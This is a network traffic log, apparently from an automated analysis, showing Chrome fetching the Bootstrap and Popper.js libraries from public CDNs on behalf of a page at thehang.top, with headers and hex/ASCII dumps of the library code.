2025-01-10 17:37:42 UTC	609	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://t6vgccvtc.thehang.top:8443 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:42 UTC	954	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:37:42 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 53f2abcc3f75c48105fa57564428e33d CDN-Cache: HIT CF-Cache-Status: MISS Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ffe6fc2ae7b18b8-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 17:37:42 UTC	415	IN	Data Raw: 37 62 66 39 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bf9/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c Data Ascii: s","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c Data Ascii: t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"el
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 Data Ascii: .CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 Data Ascii: Class(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribut
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 Data Ascii: i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={AC
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 Data Ascii: erval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_IT
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 Data Ascii: tarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemB
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 Data Ascii: latedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+"
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c Data Ascii: ction(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.col

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49724	104.17.25.14	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:42 UTC	615	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://t6vgccvtc.thehang.top:8443 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:42 UTC	959	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:37:42 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1312204 Expires: Wed, 31 Dec 2025 17:37:42 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2MlCiuBLbdcWipvAW0o1dxhlpP0AlCjHBhfO6GdKFYc8oT7G8bc%2BcFecegcuZMhnQFluiWxBO4bxgqopZeP3QRqZwi3v8LV0HHL2Ceam4dBgaoEWt%2BCD6w%2BFJ8UjKXhiXfv3c4RN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ffe6fc2ad534282-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 17:37:42 UTC	410	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 Data Ascii: e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document'
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 Data Ascii: var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['borde
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e Data Ascii: :p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 Data Ascii: ht:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.wid
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e Data Ascii: .warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instan
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 Data Ascii: s.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passi
